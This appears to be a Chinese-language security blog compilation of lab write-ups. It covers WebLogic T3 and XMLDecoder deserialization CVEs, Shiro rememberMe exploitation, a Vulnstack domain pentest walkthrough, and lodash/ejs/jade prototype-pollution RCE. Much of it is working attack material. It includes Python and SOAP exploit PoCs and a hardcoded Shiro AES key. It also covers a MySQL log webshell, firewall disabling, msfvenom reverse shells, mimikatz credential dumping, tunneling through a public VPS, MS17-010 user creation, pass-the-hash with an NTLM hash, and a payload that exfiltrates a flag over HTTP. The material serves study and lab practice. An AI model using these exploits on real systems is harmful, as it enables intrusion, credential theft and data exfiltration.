2022年1月

  • 环境搭建


    链接:https://github.com/QAX-A-Team/WeblogicEnvironment
    需要自行下载对应版本的 jdk 和 weblogic 放入对应文件夹中
    image-20220128180148642
    docker设置及远程调试环境配置:
    docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .
    
    docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
    

    访问 http://localhost:7001/console/login/LoginForm.jsp 出现登录页面
    新建 middleware 作为用于调试的文件夹
    dir ./middleware
    
    docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/modules ./middleware/
    
    docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/wlserver ./middleware/
    
    docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
    

    然后用 IDEA 打开,导入 wlserver/server/lib (Add as Library),之后设置远程调试端口为 8453。
    打开 WLSServletAdapter 类,129 行下断点。
    image-20220128181650482
    访问 http://localhost:7001/wls-wsat/CoordinatorPortType ,若成功拦截,则环境配置完毕。
  • CVE-2015-4852(T3 反序列化漏洞)


    关于 weblogic 漏洞所需的基础知识可参考这位dalao的文章 https://paper.seebug.org/1012/#weblogic_8.
    漏洞点在:weblogic.rjvm.InboundMsgAbbrev#readObject
    image-20220128182231676
    t3协议的数据流会走这个类,关注 readObject 之后的操作,查看 ServerChannelInputStream 类中的具体方法。
    image-20220128182640326
    漂亮!resolveClass 中什么防御都无。其中resolveClass 是 readObject 底层流程要走的函数,shiro 反序列化中因为 shiro 框架对 resolveClass 进行了重写导致部分 CC 链打不了。在 weblogic 后续的补丁中也是对这个方法进行了修改。
    反序列化流程
    看一下 weblogic 自带的 CC 链
    image-20220128192910968
    poc:

    from os import popen
    import struct # 负责大小端的转换 
    import subprocess
    from sys import stdout
    import socket
    import re
    import binascii
    
    def generatePayload(gadget,cmd):
        YSO_PATH = "D:/javaweb/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar"
        popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
        return popen.stdout.read()
    
    def T3Exploit(ip,port,payload):
        sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        sock.connect((ip,port))
        handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
        sock.sendall(handshake.encode())
        data = sock.recv(1024)
        compile = re.compile("HELO:(.*).0.false")
        match = compile.findall(data.decode())
        if match:
            print("Weblogic: "+"".join(match))
        else:
            print("Not Weblogic")
            return  
        header = binascii.a2b_hex(b"00000000")
        t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
        desflag = binascii.a2b_hex(b"fe010000")
        payload = header + t3header  +desflag+  payload
        payload = struct.pack(">I",len(payload)) + payload[4:]
        sock.send(payload)
    if __name__ == "__main__":
        ip = "172.21.65.112"
        port = 7001
        gadget = "CommonsCollections1"
        cmd = "touch /tmp/CVE-2015-4852"
        payload = generatePayload(gadget,cmd)
        T3Exploit(ip,port,payload)
    
  • CVE-2016-0638(CVE-2015-4852 修复后的绕过)


    在补丁 p21984589_1036_Generic 中,在 ServerChannelInputStream 的 resolveClass 中引入 ClassFilter.isBlackListed 进行过滤,但菜鸡的我没有找到补丁文件。。。这里放一张参考文献中dalao的图:
    CVE-2016-0638
    其实之后的 t3 反序列化就是变着花的绕黑名单了。
    补充信息:
    在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。
    

    在这里需要找的就是其他类的反序列化方法,其中 weblogic.jms.common.StreamMessageImpl 没在黑名单中,在其中的 readExternal 方法中,new 了一个没有被黑名单过滤的对象,并执行了这个对象的 readObject,造成了二次反序列化。
    image-20220128203456310
    再关注一下这个 var4 是怎么来的
    image-20220128204628190
    然后把流和一个int传入 copyPayloadFromStream 中
    image-20220128204928125
    流进到了 createOneSharedChunk 中
    image-20220128205048336
    创建了一个 chunk ,readExternal 的后续操作就是从中读取数据并进行了反序列化。
    这里使用工具 https://github.com/5up3rc/weblogic_cmd 进行分析。
    IDEA打开工具,配置执行环境,导入 tools 包(jdk/lib/tool.jar)中,然后打断点。
    image-20220128212411803
    image-20220128212359241
    image-20220128212506236
    然后开始 debug,经过参数解析后进入 blindExecute
    image-20220128212721390
    然后进入到 SerialDataGenerator.serialBlindDatas
    image-20220128212926023
    分别跟踪这两个函数实现
    image-20220128212851091
    image-20220128213028557
    拼起来正好是一条 CC1。但没完,返回之前还要进入 BypassPayloadSelector.selectBypass ,这一方法用来处理原生链中本应该直接进行反序列化的对象(二次反序列化包装)。
    image-20220128213240527
    在 Serializables.serialize 中进行序列化
    image-20220128213713163
    然后调用到最终要反序列化的 StreamMessageImpl
    image-20220128213856949
    接着 send payload 的实现就和上文 CVE-2015-4852 的 poc 的实现差不多了,构造 t3 数据包然后发送。
    image-20220128214127708

 

  • CVE-2016-3510(CVE-2015-4852 的另一种绕过方式)


    这次选用的类是 weblogic.corba.utils.MarshalledObject,其中的 readResolve 会读取 objBytes 的值赋给新 new 的 ois,然后将其进行反序列化。
    image-20220128215439105
    在 weblogic_cmd 的 Main 函数中修改一下 TYPE image-20220128215849406
    在 selectBypass 的时候换了一个对象
    image-20220128220041915
    进入到 MarshalledObject ,之后进行正常的序列化。
    image-20220128220134158

 

  • CVE-2017-3248(利用JRMPClient进行带外rce)


    东西很多,挖个坑单独说。
  • CVE-2017-3506(XMLDecoder反序列化)


    基础知识可参考 https://paper.seebug.org/1012/#weblogic_8,这里先写个demo跟一下XMLDecoder的过程。
    poc.xml
    <java>
        <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="1">
                <void index="0">
                    <string>calc</string>
                </void>
            </array>
            <void method="start"/>
        </object>
    </java>
    

    Main.java
    import java.beans.XMLDecoder;
    import java.io.*;
    
    public class Main {
        public static void main(String[] args) throws IOException, InterruptedException {
            File file = new File("poc.xml的绝对路径");
            XMLDecoder xd = null;
            try {
                xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
            } catch (Exception e) {
                e.printStackTrace();
            }
            Object s2 = xd.readObject();
            xd.close();
    
        }
    }
    

    第 9 行下个断点,跟进 XMLDecoder 类,发现这里首先 new 了一个 DocumentHandler 对象
    image-20220129141322391
    首先对各种标签的解析
    image-20220129141521113
    最后在 处调用 getValue ,得到类的实例。
    image-20220129162957211
    补上一张@ fnmsd给出的XMLDecoder解析xml的流程图解释整个调用过程
    xmlDecoder
    然后就是追一下 weblogic 是在哪调用 XMLDecoder 的
    poc:

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 172.21.65.112:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Length: 824
    Accept-Encoding: gzip, deflate
    SOAPAction:
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    Content-Type: text/xml
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_131" class="java.beans.XMLDecoder">
              <void class="java.lang.ProcessBuilder">
                <array class="java.lang.String" length="3">
                  <void index="0">
                    <string>/bin/bash</string>
                  </void>
                  <void index="1">
                    <string>-c</string>
                  </void>
                  <void index="2">
                    <string>touch /tmp/CVE-2017-3506</string>
                  </void>
                </array>
              <void method="start"/></void>
            </java>
          </work:WorkContext>
        </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    
    

    断点下在 WorkContextTube#readHeaderOld 上,然后进入 receive 中
    image-20220129211439149
    持续跟进到 readUTF 中,发现反序列化操作
    image-20220129211731830
  • CVE-2017-10271(CVE-2017-3506 绕过)


    先看一下官方的补丁
    private void validate(InputStream is) {
          WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
          try {
             SAXParser parser = factory.newSAXParser();
             parser.parse(is, new DefaultHandler() {
                public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
                   if(qName.equalsIgnoreCase("object")) {
                      throw new IllegalStateException("Invalid context type: object");
                   }
                }
             });
          } catch (ParserConfigurationException var5) {
             throw new IllegalStateException("Parser Exception", var5);
          } catch (SAXException var6) {
             throw new IllegalStateException("Parser Exception", var6);
          } catch (IOException var7) {
             throw new IllegalStateException("Parser Exception", var7);
          }
       }
    

    重点就是这:
     if(qName.equalsIgnoreCase("object")) {
                      throw new IllegalStateException("Invalid context type: object");
    

    标签是 object 的时候报错,是不很理解为什么这么修,这里把 object 标签换成 void 标签照样可以执行命令。
    <object class=”java.lang.ProcessBuilder”>    ====>
    <void class=”java.lang.ProcessBuilder”>
    

    image-20220129192508666
    除了把 isArgument 从 true 变成 false 外全部继承 ObjectElementHandler。
  • CVE-2019-2725(CVE-2017-10271绕过 + 新的反序列化组件)


    首先看新的 _async 中存在的反序列化触发点(访问路径:/_async/AsyncResponseService)
    从接收服务开始的完整解析过程详见https://www.anquanke.com/post/id/177381,这里只重点关注触发漏洞部分。
    请求从 BaseWSServlet 开始,断点下在 service 方法,一直跟进到 run
    image-20220129225207945
    跟进到处理请求的部分,注意这里接收到的信息是以 Soap 协议解析的
    Soap
    image-20220129225645738
    解析后的东西放在了 var7 中,然后跟一下 var7 的 invoke 方法
    image-20220129230059383
    在进行soap的初始化后进入 dispatch 中,跟进到 handleRequest 中
    image-20220129233730652
    在 WorkContextXmlInputAdapter 中调用了 XMLDecoder
    image-20220129233753318
    跟进 receiveRequest 方法中,发现调用了 readUTF ,剩下的流程接上前面分析的就可以了。
    image-20220129233906593
    关于补丁的绕过,先分析一下补丁代码:
    private void validate(InputStream is) {
          WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
          try {
             SAXParser parser = factory.newSAXParser();
             parser.parse(is, new DefaultHandler() {
                private int overallarraylength = 0;
                public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
                   if(qName.equalsIgnoreCase("object")) {
                      throw new IllegalStateException("Invalid element qName:object");
                   } else if(qName.equalsIgnoreCase("new")) {
                      throw new IllegalStateException("Invalid element qName:new");
                   } else if(qName.equalsIgnoreCase("method")) {
                      throw new IllegalStateException("Invalid element qName:method");
                   } else {
                      if(qName.equalsIgnoreCase("void")) {
                         for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                             throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                            }
                         }
                      }
                       if(qName.equalsIgnoreCase("array")) {
                         String var9 = attributes.getValue("class");
                         if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                            throw new IllegalStateException("The value of class attribute is not valid for array element.");
                         }
    

    解释一下就是 ban 掉了object、new、method标签,如果使用void标签,只能有index属性,如果使用array标签,且标签使用的是class属性,则它的值只能是byte。
    那么我们需要找一个参数是 byte 类型的类尝试反序列化,这里采用的 jdk7u21的那条链。
    7u21 的命令执行部分是将 Templateslmpl 对象的 _bytecodes 动态生成为对象,于是该类的static block和构造函数便会自动执行,造成命令执行。
    poc (部分):

    <?xml version="1.0" encoding="utf-8"?>
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">
                    <void index="0">
                    <byte>-84</byte>
                    ...
                    ...
                </array></void></class>
                </java>
            </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>
    

     
  • CVE-2019-2729 (CVE-2019-2725 绕过)


    具体挖掘细节可参考 https://xz.aliyun.com/t/5448 ,这里给出最后结论.
    poc:(jdk1.6可行)

    <?xml version="1.0" encoding="utf-8"?>
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
        <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                <java>
                    <array method="forName">
                        <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
                        <void>
                            <array class="byte" length="3748">
                                ...
                            </array>
                        </void>
                    </array>
                </java>
            </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>
    

    把 <class> 换成了 <array method="forName">, 宏观上理解就是通过Class.forName(classname)来取到我们想要的类.
    在 jdk1.7 中, array 标签并不会受理 method 属性(没有意义), 但在 jdk1.6中的实现方法是:
            } else if (var1 == "array") {
                var14 = (String)var3.get("class");
                Class var10 = var14 == null ? Object.class : this.classForName2(var14);
                var11 = (String)var3.get("length");
                if (var11 != null) {
                    var4.setTarget(Array.class);
                    var4.addArg(var10);
                    var4.addArg(new Integer(var11));
                }
    

    它将所有的标签属性进行统一处理,但是又没有进行有效性验证, 所以出现了绕过.

 

  • shiro < 1.2.4 环境搭建


    1. 官网下载shiro-root-1.2.4,把其中的samples-web部署到IDEA中。

    2. 修改pom.xml,加个cc依赖(默认是不带的)
              
                  commons-collections
                  commons-collections
                  3.2.1
              
      
    3. tomcat部署启动。
  • shiro < 1.2.4 简单复现


    用cc11打一下(cc6不行,原因待会说)
    import base64
    import uuid
    from random import Random
    from Crypto.Cipher import AES
    
    def get_file_data(filename):
        with open(filename, 'rb') as f:
            data = f.read()
        return data
    
    def aes_enc(data):
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
        return ciphertext
    
    def aes_dec(enc_data):
        enc_data = base64.b64decode(enc_data)
        unpad = lambda s : s[:-s[-1]]
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = enc_data[:16]
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        plaintext = encryptor.decrypt(enc_data[16:])
        plaintext = unpad(plaintext)
        return plaintext
    
    if __name__ == "__main__":
        data = get_file_data("ser.bin")
        print(aes_enc(data))
    

  • shiro < 1.2.4 漏洞分析


    在AbstractRememberMeManager#getRememberedPrincipals中的getRememberedSerializedIdentity处下断点

    跟进到获取cookie的地方(写的时候中间断过几次,payload可能不一样)

    检查base64格式后进行解码

    然后进入convertBytesToPrincipals对解码后的数据进行处理
    image-20220126162516627
    进入decrypt函数中
    image-20220126162600004
    函数中进行的就是正常的AES解密,没什么可看的,这里跟踪一下 getDecryptionCipherKey看一下密钥
    image-20220126163207363
    image-20220126163249845
    发现密钥,这也是我们前面加密脚本里用到的
    最后反序列化处理传进去的内容image-20220126163333765
    image-20220126163501308
  • shiro < 1.4.2 padding oracle


    在shiro 1.2.5 之后获取key的方式不再是硬编码
    image-20220126172549532
    这次的问题出现在解密函数本身,追踪解密函数,发现调用了crypt函数
    image-20220126172902350
    单步进入到这里,在密钥不正确的情况下会抛出异常
    image-20220126173059541
    填充时的不正确导致服务器不同的相应,可根据此特性利用padding oracle攻击爆破CBC加密过程中的临时变量,从而达到任意加密和任意解密。
  • payload打不通的问题


    如果用CC6去打的话会报错,因为shiro用的不是java原生的反序列化套件,重写了ObjectInputStream类的resolveClass函数,重写后的resolveClass方法采用的是ClassUtils.forName获取class对象,
    public static Class forName(String fqcn) throws UnknownClassException {
        Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
        if (clazz == null) {
            if (log.isTraceEnabled()) {
                log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader.  Trying the current ClassLoader...");
            }
    
            clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
        }
    
        if (clazz == null) {
            if (log.isTraceEnabled()) {
                log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " + "Trying the system/application ClassLoader...");
            }
    
            clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
        }
    
        if (clazz == null) {
            String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
            throw new UnknownClassException(msg);
        } else {
            return clazz;
        }
    }
    

    具体原因很麻烦,这里直接放P神在java反序列化漫谈中的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,因此诸如此类的CC链都是打不了的。
    image-20220127125650828
    不过利用的字节码动态加载的CC2,CC4等还可以正常使用。
  • 无CC依赖


    cc依赖并不是shiro自带,所以就有人研究出了Shiro自带CommonsBeanutils的反序列化gadget,具体分析可自行查询。

 

参考文献:

 

 

 

  • 环境搭建


    • 网络配置


      两块虚拟网卡,分别为52和72。
      kali:192.168.52.130
      win7(web服务器):192.168.52.132(连外网)192.168.72.128(连内网)
      win2K3(域中服务器):192.168.72.130
      win server(域控):192.168.72.129
      然后将win7的第二块网卡(72)的dns地址设置为域控的地址
    • 启动服务


      默认密码hongrisec@2020,在win7中启动phpstudy
       
  • 攻击web服务器


    nmap扫描发现80和3306开放,dirsearch扫描发现phpmyadmin,存在root/root弱口令可直接登入。
    攻击方式有很多,这里只采用数据库写马的方式。
    查看权限:show variables like '%secure_file%';
    (发现secure_file_priv的值为NULL,不能用into outfile的方式直接写马
    

    尝试用log写马:
    show variables like 'general%';(查看当前log的目录)
    set global general_log_file = "C:/phpStudy/www/1.php";(指定日志文件)
    SELECT ''(写马)
    

    然后用蚁剑连接。
    连接后首先查看防火墙状态并关闭
    • 关闭防火墙

      windows server 2K3 之前的版本
      netsh firewall set opmode disable
      

      之后的版本:
      netsh advfirewall set allprofiles state off
      
    • 查看防火墙配置
      netsh firewall show config
      
    • 修改防火墙配置
      windows server 2K3 之前的版本,允许指定程序全部连接:
      netsh firewall add allowedprogram c:\nc.exe "alloc nc" enable 
      

      windows server 2K3 之后的版本,允许指定程序进入
      netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
      

      允许3389端口放行:
      netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
      

 

  • 后渗透阶段


    • 信息收集


      whoami
      hostname
      net user
      ipconfig /all
      net localgroup
      administrators
      系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
      系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
      查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%
      tasklist    或   wmic process list brief(查询进程)
      

      常见杀软的进程
      进程名软件
      360sd.exe360 杀毒
      360tray.exe360 实时保护
      ZhuDongFangYu.exe360 主动防御
      KSafeTray.exe金山卫士
      SafeDogUpdateCenter.exe安全狗
      McAfeeMcShield.exe
      egui.exeNOD32
      AVP.exe卡巴斯基
      avguard.exe小红伞
      bdagent.exeBitDefender

      (域信息收集见vulnstack2)
      ps:
      在域信息收集中,如果出现拒绝访问错误,是因为权限不够,需要先提权再进行查看。
      

       
    • 用CS进行后渗透


      设置监听

      然后选择attack中的package中的windows excutables(s),用刚才新建的listener接收shell。
      生成后用蚁剑传到www目录下,在终端中直接运行即可。
      连接后默认的sleep为60s,这里为了方便将其设置为sleep 0。
    • 用msf进行后渗透


      先用msfvenmo生成木马
      msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.52.130 LPORT=1234 -f exe -o run—_1234.exe
      

      在msf中设置监听
      use exploit/mutli/handler
      set payload windows/x64/meterpreter_reverse_tcp
      set lhost 192.168.52.130
      set lport 1234
      run
      

      同样用蚁剑上传马,运行后接收到反弹的shell
      meterpreter生成的进程不稳定容易掉,这里需要进程迁移
      ps(查看主机正在运行的进程)
      getpid(查看meterpreter shell的进程)
      migrate 1416(将shell进程迁移到explorer.exe中)
      或者用自动迁移进程命令:
      run post/windows/manage/migrate
      关闭防火墙命令:
      run post/windows/manage/enable_rdp
      
    • 各种提权方式


      • meterpreter提权

        getsystem一键提权
        
      • 发现缺失补丁

        wmic qfe get Caption, Description, HotFixID, InstalledOn(列出已安装的补丁)
        


        发现没有安装KB3139914补丁(MS16-032),可以利用msf进行提权
        还可以利用msf发现缺失补丁
        use post/windows/gather/enum_patches
        set SESSION 3
        run
        


        use post/multi/recon/local_exploit_suggester
        set LHOST 192.168.52.130
        set SESSION 3
        run
        


        显然,这台靶机是个筛子。。。
      • 利用cs自带的Elevate提权

        右击沦陷主机,在Access中选择Elevate(需要新建listener),可生成一个system权限的主机。
      • 使用mimikatz抓取密码

        run hashdump(获取密码的hash值,虽然感觉没什么用)
        

        使用mimikatz的前提:将meterpreter进程迁移到有system权限的64位进程
        ps
        migrate PID
        load mimikatz
        mimikatz_command -f sekurlsa::searchPasswords
        


        或者用kiwi
        load kiwi
        creds_all
        


         
  • 横向移动


    • 搭建隧道


      在进行横向渗透前,先将该web服务器配置为代理服务器当作跳板机。
      • 直接用msf搭建sock隧道

        在session中自动创建路由并使用proxychains代理(不过过了一会就莫名断了)
        run post/multi/manage/autoroute
        run autoroute -p
        background
        use auxiliary/server/socks5
        run
        可用jobs查看任务是否执行
        

        然后配置proxychains.conf,端口都设置为1080
      • 搭建SSH隧道绕过firewall直连3389端口

        192.168.52.1上执行:
        ssh -CfNg -L 1153:192.168.52.129:3389 root@192.168.52.130(转发)
        在meterpreter中开启3389:
        run post/windows/manage/enable_rdp
        rdesktop 192.168.52.1:1153
        
      • 用ew做转发(推荐)

        先把ew传到web服务器上,实验环境中直接在web服务器上做正向代理即可
        在win7上运行:
        ew_for_Win.exe -s ssocksd -l 2080
        然后在kali上修改/etc/proxychains
        添加socks5 192.168.52.132(win7重启了一次,ip地址发生变化)
        

        在真实渗透环境中,需要通过公网服务器进行转发:
        1.在公网vps上执行:
        ./ew_for_linux64 -s rcsocks -l 2080 -e 2024 &
        2.在目标机器上执行
        ew_for_Win.exe -s rssocks -d 1.116.196.115 -e 2024
        3.在本地kali上添加proxychains规则,连向1.116.196.115 2080
        
    • 内网信息收集


      使用msf内置模块
      auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
      auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
      auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机
      auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
      auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务,基于默认22端口
      auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务,基于默认23端口
      auxiliary/scanner/dns/dns_amp                #发现dns服务,基于默认53端口
      auxiliary/scanner/http/http_version          #发现内网http服务,基于默认80端口
      auxiliary/scanner/http/title                 #探测内网http服务的标题
      auxiliary/scanner/smb/smb_version            #发现内网smb服务,基于默认的445端口   
      auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
      auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
      auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务,基于默认3306端口
      auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务,基于默认3389端口
      auxiliary/scanner/redis/redis_server         #发现内网Redis服务,基于默认6379端口
      auxiliary/scanner/db2/db2_version            #探测内网的db2服务,基于默认的50000端口
      auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字
      

      使用nmap+代理扫描:
      proxychains nmap -Pn -sT 192.168.72.130   
      
    • 利用已知漏洞攻击


      ms17-010(445)和 ms19-0708(3389),在msf中使用proxychainsdaili
      set proxies socks5:192.168.52.132:2080
      

      然后可尝试使用ms17-010对win2K3和域控进行攻击(因为msf的对应模块出bug所以没有演示)
      这里仅尝试用ms17-010添加管理员用户并尝试用3389登录
      use auxiliary/admin/smb/ms17_010_command
      set rhosts 192.168.72.130
      set command net user moonflower 1qaz@WSX /add(添加用户)
      run
      set command net localgroup administrators moonflower /add(把用户添加到管理员组)
      run
      set command net localgroup administrators(查看管理员组)
      run
      set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'(打开3389端口)
      run
      

      利用代理可用成功登录到计算机(但无法登录到域中)

      同理也可以用来攻击192.168.72.129(域控)
  • 利用ipc连接域控


    建立ipc$连接
    net use \\192.168.72.129\c$ "1qaz@WSX" /user:"Administrator"
    可以查看域控的目录:
    dir \\192.168.72.129\c$
    
  • hash传递攻击


    前面用mimikatz抓取了域管理员administrator的hash,在没有明文密码的情况下,可用使用hash传递攻击
    mimikatz中运行:
    sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:161cff084477fe596a5db81874498a24
    

  • lodash从污染到rce


    以code-breaking2018中的thejs为例
    • 搭环境


      在package中修改以下代码
    • 污染


      然后到baseMerge中

      继续跟进:



      发现存在原型链污染的条件:键可控且值可修改。
      相同的原理,利用lodash.mergeWith,lodash.set,lodash.setWith也可造成原型链污染。
    • rce过程


      利用lodash.template

      单步进入到这

      然后进入lodash.template中

      利用Function构造函数来执行命令。
      payload:
      {"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://localhost:12333/${result}`);req.end();\r\n"}} 
      

       
  • ejs实现rce


    • 环境搭建


      test.js
      var express = require('express');
      var _= require('lodash');
          var ejs = require('ejs');
          var app = express();
          //设置模板的位置
          app.set('views', __dirname);
          //对原型进行污染
          var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
          _.merge({}, JSON.parse(malicious_payload));
          //进行渲染
          app.get('/', function (req, res) {
              res.render ("./test.ejs",{
                  message: 'lufei test '
              });
          });
          //设置http
          var server = app.listen(8081, function () {
              var host = server.address().address
              var port = server.address().port
              console.log("应用实例,访问地址为 http://%s:%s", host, port)
          });
      

      test.ejs

      设置debug方式如上

    • rce过程



      ​ ​ 进入response.js中
      ​ ​
      ​ ​ 进入application.js的tryRender中
      ​ ​
      ​ ​ 然后进入view.js中
      ​ ​
      ​ ​ 进入ejs.js中,准备开始渲染,先进到tryHandleCache中
      ​ ​
      ​ ​ 然后调用handleCache
      ​ ​
      ​ ​ 进入compile方法,开始渲染
      ​ ​
      ​ ​ 发现传入的outputFunctionName直接被拼接
      ​ ​
      ​ ​ 成功rce

    payload:
      {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
    
  • jade实现rce


    • 搭环境


      app.js
      var express = require('express');
      var lodash= require('lodash');
      var jade = require('jade');
      var app = express();
      //设置模板的位置与种类
      app.set('views', __dirname);
      app.set("view engine", "jade");
      //对原型进行污染
      var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}';
      lodash.merge({}, JSON.parse(malicious_payload));
      //进行渲染
      app.get('/', function (req, res) {
        res.render ("index.jade",{
            message: 'whoami test'
      });
      });
      //设置http
      var server = app.listen(8000, function () {
      var host = server.address().address
      var port = server.address().port
      console.log("应用实例,访问地址为 http://%s:%s", host, port)
      });
      

      index.jade
      h1 #{message}
      p #{message}
      

     
    • rce过程


      刚开始和ejs的很像,从response.js开始,每次进入下一个render函数中。

      ​然后进入index.js中

      ​ 进入handleTemplateCache中

      ​ 进入complie中并进行parsed解析

      ​ 然后通过原型链污染绕过进入这个if语句

      ​ 解析完之后再看compile部分

      ​ 进入compiler.js中

      ​ 在这里进行了AST的解析,把最后的结果放进buf中,关注visit函数,如果这里的debug为真,那么就可以拼接传入的line,从而实现rce。

      payload:
      {"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}```
      

       
参考文献:

https://www.anquanke.com/post/id/248170#h2-10